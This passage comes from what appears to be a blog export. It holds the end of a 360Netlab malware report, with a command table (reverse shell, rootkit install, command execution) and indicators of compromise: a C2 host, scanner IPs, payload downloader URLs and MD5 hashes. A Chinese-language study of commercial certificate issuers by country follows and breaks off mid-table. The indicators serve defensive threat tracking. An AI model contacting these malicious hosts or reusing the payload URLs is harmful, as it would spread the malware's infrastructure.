instructions, and the correspondence between instruction number and function is shown in the following table.\n\n| Cmd ID | Function |\n| ------ | ------------------------------------------------------------ |\n| 0x1 | Beacon/Heartbeat |\n| 0x2 | Upload system info |\n| 0x3 | Create \"/dev/pamd\" (unix domain socket) which can get a shell |\n| 0x4 | Exec arbitrary system cmd via popen |\n| 0x5 | Traffic forwarding |\n| 0x6 | Write File |\n| 0x7 | Read File |\n| 0x8 | Deliver info via \"/var/tmp/.unetns\"(unix domain socket),Not used |\n| 0x9 | Upload specific info,Not used |\n| 0x10 | Stop proxy service |\n| 0x11 | Start proxy service |\n| 0x1a | Create proxy service |\n| 0x21 | Reverse shell |\n| 0x50 | Upload \"/boot/conf- XXX\" info,Not used |\n| 0x51 | install M3T4M0RPH1N3.ko rootkit |\n\nIn the table, \"Not used\" means that this function has the corresponding processing code in the sample, but it is not called. We are not sure if these codes are used for debugging or in other scenarios.\n\nWe found that some functions are buggy in their implementation, such as 0x3, which uses the remove function to delete the socket file after bind the domain socket, which makes the socket unconnectable and thus the whole function is useless.\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_bug.png\" width=\"860px\" />\n\n## Small note\nWe noticed the domain name has been registered for 6 years, which is kind unusual?\n```\nwebserv.systems\tcreateddate 2021-02-08 15:13:22\nwebserv.systems\tupdateddate 2021-02-24 22:27:23\nwebserv.systems\texpiresdate 2027-02-08 15:13:22\n```\n\n## Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n## IOC\n### C2\n```\nwebserv.systems\n194.165.16.24:53\n194.165.16.24:443\n```\n### Scanner\n```\n104.244.73.126\tLuxembourg|Luxembourg|Unknown\t53667|FranTech_Solutions\n109.201.133.100\tNetherlands|North_Holland|Amsterdam\t43350|NForce_Entertainment_B.V.\n162.247.74.27\tUnited_States|New_York|New_York_City\t4224|The_Calyx_Institute\n166.78.48.7\tUnited_States|Texas|Dallas\t33070|Rackspace_Hosting\n171.25.193.78\tSweden|Stockholm_County|Stockholm\t198093|Foreningen_for_digitala_fri-_och_rattigheter\n185.100.87.202\tRomania|Bucharest|Unknown\t200651|Flokinet_Ltd\n185.129.62.62\tDenmark|Region_Hovedstaden|Copenhagen\t57860|Zencurity_ApS\n185.220.100.240\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.241\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.242\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.243\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.246\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.249\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.250\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.252\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.254\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.255\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.101.134\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.136\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.140\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.143\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.144\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.151\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.155\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.161\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.162\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.164\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.166\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.168\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.172\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.174\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.176\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.181\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.191\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.34\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.37\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.39\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.40\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.42\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.43\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.46\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.5\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.50\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.51\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.53\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.54\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.56\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.57\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.61\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.56.80.65\tNetherlands|South_Holland|Capelle_aan_den_IJssel\t43350|NForce_Entertainment_B.V.\n193.218.118.158\tUkraine|Kiev|Unknown\tNone;\n194.32.107.159\tRomania|Romania|Unknown\tNone;\n194.32.107.187\tRomania|Romania|Unknown\tNone;\n194.88.143.66\tItaly|Lombardy|Metropolitan_City_of_Milan\t49367|Seflow_S.N.C._Di_Marco_Brame'_&_C.\n199.195.250.77\tUnited_States|New_York|New_York_City\t53667|FranTech_Solutions\n23.129.64.216\tUnited_States|Washington|Seattle\t396507|Emerald_Onion\n23.154.177.4\tNorth_America_Regions|North_America_Regions|Unknown\tNone;\n45.13.104.179\tFrance|Ile-de-France|Paris\t57199|MilkyWan\n45.154.255.147\tSweden|Stockholm_County|Stockholm\t41281|KeFF_Networks_Ltd\n45.61.185.90\tUnited_States|United_States|Unknown\t8100|QuadraNet_Enterprises_LLC\n46.166.139.111\tNetherlands|South_Holland|Capelle_aan_den_IJssel\t43350|NForce_Entertainment_B.V.\n5.2.69.50\tNetherlands|Flevoland|Dronten\t60404|Liteserver_Holding_B.V.\n51.15.43.205\tNetherlands|North_Holland|Haarlem\t12876|Online_S.a.s.\n62.102.148.68\tSweden|Stockholm_County|Akersberga\t51815|IP-Only_Networks_AB\n62.102.148.69\tSweden|Stockholm_County|Akersberga\t51815|IP-Only_Networks_AB\n81.17.18.62\tSwitzerland|Canton_of_Ticino|Unknown\t51852|Private_Layer_INC\n```\n### Downloader\n```\nhxxp://179.60.150.23:8000/xExportObject.class\nldap://179.60.150.23:1389/o=tomcat\nhxxp://194.165.16.24:8229/b1t_1t.sh\nhxxp://194.165.16.24:8228/b1t\nhxxp://194.165.16.24:8228/b1t\nhxxp://194.165.16.24:8228/_run.sh\nhxxp://194.165.16.24:8228/run.sh\nhxxp://194.165.16.24:8228/share.sh\nhxxp://194.165.16.24:8228/b1t\nhxxp://194.165.16.24:8228/run.sh\nhxxp://194.165.16.24:8228/run.sh\nhxxp://194.165.16.24:8229/b4d4b1t.elf\n```\n### Sample MD5\n```\n027d74534a32ba27f225fff6ee7a755f\n0a0c43726fd256ad827f4108bdf5e772\n24c49e4c75c6662365e10bbaeaeecb04\n2e5724e968f91faaf156c48ec879bb40\n3192e913ed0138b2de32c5e95146a24a\n40024288c0d230c0b8ad86075bd7c678\n43fcb5f22a53a88e726ebef46095cd6b\n59690bd935184f2ce4b7de0a60e23f57\n5f77c32c37ae7d25e927d91eb3b61c87\n6b42a9f10db8b11a15006abced212fa4\n6c05637c29b347c28d05b937e670c81e\n7ef9d37e18b48de4b26e5d188a383ec8\n7f4e74e15fafaf3f8b79254558019d7f\n989dd7aa17244da78309d441d265613a\ndd4b6e2750f86f2630e3aea418d294c0\ne82135951c3d485b7133b9673194a79e\nfd84b2f06f90940cb920e20ad4a30a63\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 62305717a5c41b00078fca48 |
post | null | 2022-03-18T08:07:52.000Z | 63873b9a8b1c1e0007f53011 | shu-zi-zheng-shu-zuo-wei-ji-chu-she-shi-de-shi-yong-qing-kuang-fen-xi | 0 | 2022-04-01T10:15:20.000Z | public | published | null | 2022-03-23T07:44:27.000Z | 商业数字证书签发和使用情况简介(删减版) | <h2 id="-">概要</h2><p>数字证书是整个现代webPKI系统的最核心的部分之一。如果说DNS数据标识了网络资产的地址,那么数字证书就是网络资产的身份证。没有,丢失或者被吊销数字证书,就没有办法证明“我”就是“我”。因此PKI系统及其数据已经成为网络真正的基础设施,作为互联网安全运营的基础数据,重要性不言而喻。</p><!--kg-card-begin: markdown--><blockquote>
<p>3月初,乌克兰政府向互联网域名管理结构ICANN书面请求将俄罗斯相关顶级域名“.ru”, “.рф” 和“.su”从互联网撤销[1],但ICANN并没有认同这份请求[2]。近日,我们注意到俄罗斯相关的一些国家基础设施网站的证书被证书机构陆续吊销。</p>
</blockquote>
<!--kg-card-end: markdown--><p>360Netlab成立之后不久就通过主动、被动相结合的方式收集网络数字证书,并以此为基础构建了网络证书数据库CertDB。目前该库包含证书规模和涉及的IP端口数据达到十亿级,历史数据可追溯超过5年,是360Netlab基础数据分析系统DNSMon的重要组成部分。此外360Netlab同时运营着的网络空间基础数据库包括描述域名注册的WhoisDB、域名解析的PassiveDNS、网站页面的WebDB等等。这些基础数据库的条目以十亿或千亿为单位计,共同构成了用以描述全球网络空间变迁的DNSMon系统。</p><p>为了摸清楚数字证书在实际网络空间中的真实情况,本文利用网络证书数据库(CertDB),从数据角度来衡量网络证书数据在使用者和签发者组织和国别之间的分布情况。</p><h2 id="--1">数据筛选</h2><!--kg-card-begin: markdown--><p>我们从DNSMon系统中筛选了如下条件的证书:</p>
<pre><code>1. 在最近3个月活跃的;
2. 非Let's Encrypt,非Cloudflare签发的;
3. 签发者信息中包含国家信息的;
4. 非自签名或者其他不被认为是安全的证书;
</code></pre>
<p>通过以上方法,共计得到1,141,907个证书。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>以上证书筛选条件的说明:</p>
<ul>
<li>如果证书超过3个月没有活跃,我们认为这些证书所承载的网站的业务已经停止或者活跃度小,证书即使被吊销,影响也有限。</li>
<li>Let's Encrypt签发的免费证书是现在证书数据的绝对大头。不过因为Let's Encrypt签发的是DV证书,并没有提供OV或者EV证书(关于证书级别的解释见后),所以重要机构和用户目前不会使用Let's Encrypt签发的证书。同理Cloudflare会在其客户中普及使用https,使用Cloudflare的域名都会有一个SSL证书。这两类数据不涉及我们今天分析的主题,所以把它们过滤掉。</li>
<li>在收集到的证书中,有些证书主体信息中包含了证书主体所在的国家,有些则没有包含。尽管可以通过证书主体通用名(subject CommonName)中的域名的ccTLD来识别主体所在国家,但并不是所有的CommonName都是ccTLD,此外ccTLD和实际使用中的主体也存在一定的不确定性。因此这次统计中,我们只查看在证书数据中包括明确主体国别标识的证书。</li>
</ul>
<blockquote>
<p>根证书,中间证书</p>
<ul>
<li>什么是根证书机构<br>
根证书是内置在浏览器或者操作系统中的可信证书文件,是整个PKI系统可信上诉链条的顶点,是PKI系统的锚点。全世界只有数量较少的根证书颁发机构。比如在<a href="https://ccadb-public.secure.force.com/mozilla/CACertificatesInFirefoxReport">这里</a>firefox列出了其使用的跟证书列表,总共只有49个根证书机构,颁发了138个根证书。windows系统,macOS系统等也类似都有自己的根证书列表。</li>
<li>什么是中间证书机构<br>
根证书RootCA不会直接面向企业或者个人用户颁发证书。这些证书数量少,影响范围广,万一出现密钥泄漏,影响太大。所以为了保护根证书,CAs通常会颁发所谓的中间根。CA使用它的私钥对中间根签名,使它受到信任,即所谓中间CA(Intermediate CA)或者中间根。然后中间根使用中间证书的私钥签署和颁发终端用户SSL证书。这个过程可以执行多次,其中一个中间根对另一个中间根进行签名,然后CA使用该根对证书进行签名。这些链接,从根到中间到叶子,都是证书链。<br>
值得提的一点是中间证书机构尽管可以签发证书,不过其在运营策略上会受控于上游RootCA。</li>
</ul>
</blockquote>
<blockquote>
<p>目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):</p>
<ul>
<li>DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。</li>
<li>OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。</li>
<li>EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。</li>
</ul>
</blockquote>
<!--kg-card-end: markdown--><h2 id="--2">数据分析</h2><!--kg-card-begin: markdown--><p>我们主要从两个角度即证书签发组织和证书签发组织所在国家来分析使用数字证书最多的50个国家和地区的情况。<br>
由于无论是证书签发组织还是其所属国家,在网络证书数据中,均体现了二八定律,即少数的签发者签发了大量的证书,少数的国家签发了大量的证书。<br>
所以我们分别选取了头部的签发机构和头部签发机构所在的国家来说明具体情况。</p>
<h3 id="">证书签发机构</h3>
<p>在去掉Let's Encrypt和Cloudflare签发的证书之后,主要的证书签发机构就是一些大型的商业证书提供者。从证书签发机构的角度来看,其分布如下:<br>
<img src = "/content/images/2022/03/issuer_O_distr_detail.png" width = 860px /><br>
从上图可以得到:</p>
<ol>
<li>DigiCert,Sectigo,GEANT Vereniging,GlobalSign和Entrust是从签发数量来说目前排名TOP5的证书提供商,占总证书数量的66%左右。</li>
<li>DigiCert相对来说提供的证书数量,区位覆盖度都要比其他的证书提供商更多更广泛。</li>
<li>不同的证书提供商在不同区域的份额有显著的差异。比如:
<ul>
<li>中国、日本、俄罗斯和巴西,DigiCert和GlobalSign的市场份额远大于Sectigo;</li>
<li>美国、德国、荷兰和加拿大等地,Sectigo比GlobalSign更受欢迎;</li>
<li>在欧洲国家,比如比利时、西班牙、法国和意大利等地,对GEANT Vereniging则情有独钟。</li>
</ul>
</li>
<li>其他的具体数据参见文后的详细数据。</li>
</ol>
<h3 id="">证书签发组织所在国家</h3>
<p>为了看清楚证书提供商后面的国家分布,我们把签发主体中的C字段提取出来进行了统计。如下图:<br>
<img src = "/content/images/2022/03/issuer_C_distr_detail.png" width=860px /><br>
从图中可以看到:</p>
<ol>
<li>
<p>美国,英国,荷兰和比利时(如上节所示,比利时的份额主要是GlobalSign贡献,现被日本GMO公司收购)的整体份额加起来可以达到80.3%,占了绝对的统计地位。</p>
</li>
<li>
<p>从服务的对象来看,美国,英国,荷兰,比利时等国家的证书注册机构的服务的对象是全球性的,覆盖广泛。国内的证书注册机构面向对象主要还是国内用户。</p>
</li>
<li>
<p>从证书自给率上来看,中国台湾地区是自给率最高的,达到了75%,接下来是美国和波兰的自给率都超过了50%,分别达到了64%和55%;日本和中国大陆都超过了40%。其他国家都在40%以下。<br>
<img src = "/content/images/2022/03/-----_--------.png" width=860px /></p>
</li>
<li>
<p>中国大陆头部的CA的占比如下:<br>
<img src = "/content/images/2022/03/CN_CA_distr.png" width=860px /><br>
可以看出国内主要是沃通,中国金融认证中心,北京信查查信用管理公司以及亚洲诚信等单位占据了国内证书市场的主流。<br>
值得说明的时候,这些公司中,除了中国金融认证中心之外,其他的几个都是中间CA。其中沃通和北京信查查的上游CA是位于波兰的Certum。亚洲诚信的上游是DigiCert。沃通曾经是rootCA,后来因为多种原因被浏览器厂家相继屏蔽。<br>
关于国内网站的证书普及情况以及相关的CA情况,后续大家也许会看到我们专门的介绍文章。</p>
</li>
<li>
<p>其他具体的数据参见文后的数据。</p>
</li>
</ol>
<blockquote>
<p>证书自给率<br>
证书自给率(数字证书自给率)是我们给出的一个词汇。主要用来衡量一个国家或地区在使用证书方面的对外依赖程度。证书自给率越高,表明该经济体的证书签发和使用程度越高,同时证书的对外依赖程度越低。<br>
计算方法是通过计算证书的签发机构所属国别和证书主体所属国别是否一致来计算得到。即:<br>
证书自给率 = 签发机构国家和证书主体国家相同的证书数量/证书主体国家全部的证书数量。</p>
</blockquote>
<h2 id="">结论</h2>
<ol>
<li>在去除掉大量的免费证书之外,在商业证书领域,少量的证书签发机构占据了大量的市场份额。</li>
<li>如果从国家和地区的角度来看,第一点中提到的聚集性体现的更加明显,头部的4个国家签发的证书占全部证书的80.3%。</li>
<li>中国大陆的证书自给率有43.6%(详见详细统计数据表二),目前尚缺乏在全球有竞争力的证书签发机构。</li>
</ol>
<h2 id="">参考资料</h2>
<ol>
<li><a href="https://pastebin.com/DLbmYahS">https://pastebin.com/DLbmYahS</a></li>
<li><a href="https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf">https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf</a></li>
</ol>
<h2 id="">详细统计数据</h2>
<h4 id="">表一:证书使用国家按签发机构统计</h4>
<p><em>注:表中为空项表示CA机构签发该国的证书数量较少,合并到了Other项中。</em><br>
Top values of subject_C|DigiCert Inc|Sectigo Limited|GEANT Vereniging|GlobalSign nv-sa|"Entrust, Inc."|COMODO CA Limited|"GoDaddy.com, Inc."|Other|sum<br>
|-|-|-|-|-|-|-|-|-|-|-|<br>
US|136185|81530||5548|24028|35088|10172|62861|355412<br>
CN|36579|542||8637|414|12|415|79145|125744<br>
DE|20369|8499|2202|3557|895|86|251|35302|71161<br>
JP|18369|894||12052|481||38|30524|62358<br>
GB|14904|7640|9609|2495|2183|1011|1528|12418|51788<br>
FR|9561|14486|12085|2727|758|255|85|10004|49961<br>
AU|9035|2427||263|1068|72|476|3519|16860<br>
CA|8602|7346||907|5852|907|857|1069|25540<br>
KR|7082|4480||1760||16||682|14020<br>
ES|5583|3573|5282|1402|821|411|171|2014|19257<br>
RU|5550|696||3972||||2421|12639<br>
IT|5500|5009|5705|1058|688|167|193|3339|21659<br>
CH|4643|2575||284|141|14|160|7099|14916<br>
SE|3951|1541|2399|797|58||175|2009|10930<br>
IN|3799|810||1526|1189||762|655|8741<br>
NL|3507|16635|7701|771|237|114|72|4555|33592<br>
HK|3109|1859||655|110|87|324|1252|7396<br>
BR|2574|1370||2477|187|9|374|1052|8043<br>
MX|2446|452||335|133||350|194|3910<br>
AT|2374|1504|3548|217|131||113|1111|8998<br>
AE|2048|||434|61||133|286|2962<br>
SG|1846|738||484|1419|9|140|184|4820<br>
DK|1752|451|421|1310||14|40|347|4335<br>
ID|1730|390||174|59||||2353<br>
CZ|1652|210|3670|44||||1182|6758<br>
NO|1575|1355|1905|259|76||46|644|5860<br>
FI|1568|658|1995||1384||59|1170|6834<br>
CO|1545|318||320|51||249||2483<br>
ZA|1411|897|||1105||50|223|3686<br>
NZ|1406|262|||347||54|1970|4039<br>
SA|1393|||70|112||28||1603<br>
TH|1261|||592|391||15||2259<br>
PL|1235|520|3159||72|||6843|11829<br>
MY|1222|342||807|375||62||2808<br>
BE|1194|3856|5191|1323|307||51|562|12484<br>
AR|1051|394||44|40||82||1611<br>
IE|963|379|742|65|97|38|57|856|3197<br>
TW|926|1722||435|||302|11099|14484<br>
CL|833|227||1010|41||57||2168<br>
IL|760||542||||61||1363<br>
PT|689|1154|2807|106|41|46|58|373|5274<br>
GR|681|286|1168||58|||889|3082<br>
TR|681|297||1318||566|45|263|3170<br>
PH|642|||618|297||69||1626<br>
VN|623|197||1205|141||12||2178<br>
CY|558||176||||21||755<br>
KW|556||||36||||592<br>
PK|487||||||19||506<br>
RO|420|263|509|||||286|1478<br>
EC|417|||196|||26||639<br>
Other|14221|33154|12336|1970|1271|2761|269|35764|101746</p>
<h4 id="">表二:证书使用国家按签发机构所属国家统计</h4>
<p><em>注:表中为空项表示CA所属国签发该国的证书数量较少,合并到了Other项中。</em></p>
<table>
<thead>
<tr>
<th>Top values of subject_C</th>
<th>US</th>
<th>GB</th>
<th>NL</th>
<th>BE</th>
<th>CN</th>
<th>JP</th>
<th>DE</th>
<th>TW</th>
<th>BM</th>
<th>NZ</th>
<th>PL</th>
<th>FR</th>
<th>HU</th>
<th>CH</th>
<th>ES</th>
<th>cn</th>
<th>IT</th>
<th>Other</th>
<th>sum</th>
<th>self-sufficiency</th>
</tr>
</thead>
<tbody>
<tr>
<td>US</td>
<td>226208</td>
<td>116240</td>
<td></td>
<td>5550</td>
<td>595</td>
<td>20</td>
<td>89</td>
<td>41</td>
<td>12</td>
<td>578</td>
<td>96</td>
<td>15</td>
<td></td>
<td>59</td>
<td>239</td>
<td>271</td>
<td>10</td>
<td>820</td>
<td>350843</td>
<td>0.644755631</td>
</tr>
<tr>
<td>CN</td>
<td>43078</td>
<td>651</td>
<td>295</td>
<td>8659</td>
<td>51655</td>
<td>344</td>
<td>488</td>
<td>227</td>
<td>25</td>
<td>8143</td>
<td>250</td>
<td>480</td>
<td></td>
<td>507</td>
<td>3381</td>
<td>4626</td>
<td>565</td>
<td>5764</td>
<td>129138</td>
<td>0.435820595</td>
</tr>
<tr>
<td>DE</td>
<td>25761</td>
<td>8573</td>
<td>3390</td>
<td>3557</td>
<td>25</td>
<td>1</td>
<td>24494</td>
<td>1</td>
<td>2650</td>
<td>3</td>
<td>501</td>
<td>6</td>
<td></td>
<td>1768</td>
<td>8</td>
<td>12</td>
<td>19</td>
<td>198</td>
<td>70967</td>
<td>0.345146336</td>
</tr>
<tr>
<td>GB</td>
<td>22298</td>
<td>15144</td>
<td>10178</td>
<td>2495</td>
<td>8</td>
<td></td>
<td>2</td>
<td>3</td>
<td>1544</td>
<td>1</td>
<td>33</td>
<td>14</td>
<td></td>
<td>1</td>
<td>8</td>
<td>12</td>
<td></td>
<td>86</td>
<td>51827</td>
<td>0.292202906</td>
</tr>
<tr>
<td>JP</td>
<td>19488</td>
<td>897</td>
<td></td>
<td>12052</td>
<td>7</td>
<td>29743</td>
<td>2</td>
<td>10</td>
<td></td>
<td>3</td>
<td></td>
<td></td>
<td></td>
<td>3</td>
<td>5</td>
<td>3</td>
<td></td>
<td>121</td>
<td>62334</td>
<td>0.477155325</td>
</tr>
<tr>
<td>CA</td>
<td>16203</td>
<td>8282</td>
<td></td>
<td>907</td>
<td>6</td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td>3</td>
<td>15</td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td>5</td>
<td></td>
<td>319</td>
<td>25743</td>
<td></td>
</tr>
<tr>
<td>AU</td>
<td>11401</td>
<td>2509</td>
<td>52</td>
<td>263</td>
<td>4</td>
<td>1</td>
<td>3</td>
<td></td>
<td>1876</td>
<td>1</td>
<td>4</td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>596</td>
<td>16712</td>
<td></td>
</tr>
<tr>
<td>FR</td>
<td>11201</td>
<td>14759</td>
<td>12832</td>
<td>2727</td>
<td>13</td>
<td></td>
<td>111</td>
<td>2</td>
<td>597</td>
<td></td>
<td>26</td>
<td>7327</td>
<td></td>
<td>121</td>
<td></td>
<td>10</td>
<td>1</td>
<td>105</td>
<td>49832</td>
<td>0.147034034</td>
</tr>
<tr>
<td>KR</td>
<td>7276</td>
<td>4505</td>
<td></td>
<td>1760</td>
<td></td>
<td></td>
<td>17</td>
<td>4</td>
<td></td>
<td>2</td>
<td>2</td>
<td>13</td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td>402</td>
<td>13983</td>
<td></td>
</tr>
<tr>
<td>ES</td>
<td>6646</td>
<td>3993</td>
<td>5499</td>
<td>1402</td>
<td>7</td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td>1</td>
<td>4</td>
<td>8</td>
<td></td>
<td></td>
<td>1621</td>
<td></td>
<td></td>
<td></td>
<td>19182</td>
<td>0.084506308</td>
</tr>
<tr>
<td>IT</td>
<td>6596</td>
<td>5184</td>
<td>6228</td>
<td>1058</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>70</td>
<td></td>
<td></td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>2462</td>
<td></td>
<td>21605</td>
<td>0.113955103</td>
</tr>
<tr>
<td>IN</td>
<td>5968</td>
<td>817</td>
<td></td>
<td>1526</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>3</td>
<td>2</td>
<td></td>
<td>403</td>
<td>8722</td>
<td></td>
</tr>
<tr>
<td>RU</td>
<td>5590</td>
<td>704</td>
<td></td>
<td>3972</td>
<td>9</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>3</td>
<td>141</td>
<td></td>
<td></td>
<td></td>
<td>4</td>
<td>6</td>
<td>1</td>
<td>2156</td>
<td>12586</td>
<td></td>
</tr>
<tr>
<td>CH</td>
<td>5151</td>
<td>2592</td>
<td>484</td>
<td>284</td>
<td>12</td>
<td></td>
<td>28</td>
<td>3</td>
<td>2576</td>
<td></td>
<td>18</td>
<td>8</td>
<td>1</td>
<td>3495</td>
<td></td>
<td>1</td>
<td></td>
<td>216</td>
<td>14869</td>
<td></td>
</tr>
<tr>
<td>SE</td>
<td>5122</td>
<td>1543</td>
<td>2492</td>
<td>798</td>
<td></td>
<td></td>
<td>2</td>
<td>1</td>
<td></td>
<td></td>
<td>28</td>
<td></td>
<td></td>
<td>132</td>
<td></td>
<td>1</td>
<td></td>
<td>774</td>
<td>10893</td>
<td></td>
</tr>
<tr>
<td>NL</td>
<td>4431</td>
<td>16709</td>
<td>10825</td>
<td>771</td>
<td></td>
<td></td>
<td>7</td>
<td>3</td>
<td>753</td>
<td>3</td>
<td>8</td>
<td>4</td>
<td></td>
<td>2</td>
<td></td>
<td>10</td>
<td></td>
<td></td>
<td>33526</td>
<td></td>
</tr>
<tr>
<td>HK</td>
<td>3657</td>
<td>1946</td>
<td></td>
<td>655</td>
<td>23</td>
<td>2</td>
<td></td>
<td>2</td>
<td></td>
<td>3</td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td>1087</td>
<td>7376</td>
<td></td>
</tr>
<tr>
<td>SG</td>
<td>3490</td>
<td>747</td>
<td></td>
<td>484</td>
<td></td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>6</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>4729</td>
<td></td>
</tr>
<tr>
<td>BR</td>
<td>3206</td>
<td>1379</td>
<td></td>
<td>2477</td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>962</td>
<td>8027</td>
<td></td>
</tr>
<tr>
<td>FI</td>
<td>3154</td>
<td>656</td>
<td>2189</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>818</td>
<td>6817</td>
<td></td>
</tr>
<tr>
<td>MX</td>
<td>3031</td>
<td>453</td>
<td></td>
<td>335</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>81</td>
<td>3901</td>
<td></td>
</tr>
<tr>
<td>AT</td>
<td>2888</td>
<td>1504</td>
<td>3806</td>
<td>217</td>
<td>4</td>
<td></td>
<td>82</td>
<td></td>
<td>42</td>
<td></td>
<td>23</td>
<td></td>
<td>1</td>
<td>55</td>
<td></td>
<td>2</td>
<td>16</td>
<td>348</td>
<td>8988</td>
<td></td>
</tr>
<tr>
<td>ZA</td>
<td>2632</td>
<td>899</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>11</td>
<td></td>
<td>30</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>114</td>
<td>3686</td>
<td></td>
</tr>
<tr>
<td>AE</td>
<td>2374</td>
<td></td>
<td></td>
<td>434</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td>19</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>129</td>
<td>2958</td>
<td></td>
</tr>
<tr>
<td>DK</td>
<td>2052</td>
<td>465</td>
<td>449</td>
<td>1310</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>4276</td>
<td></td>
</tr>
<tr>
<td>NZ</td>
<td>1914</td>
<td>264</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>306</td>
<td>1538</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>4022</td>
<td>0.382396818</td>
</tr>
<tr>
<td>CO</td>
<td>1868</td>
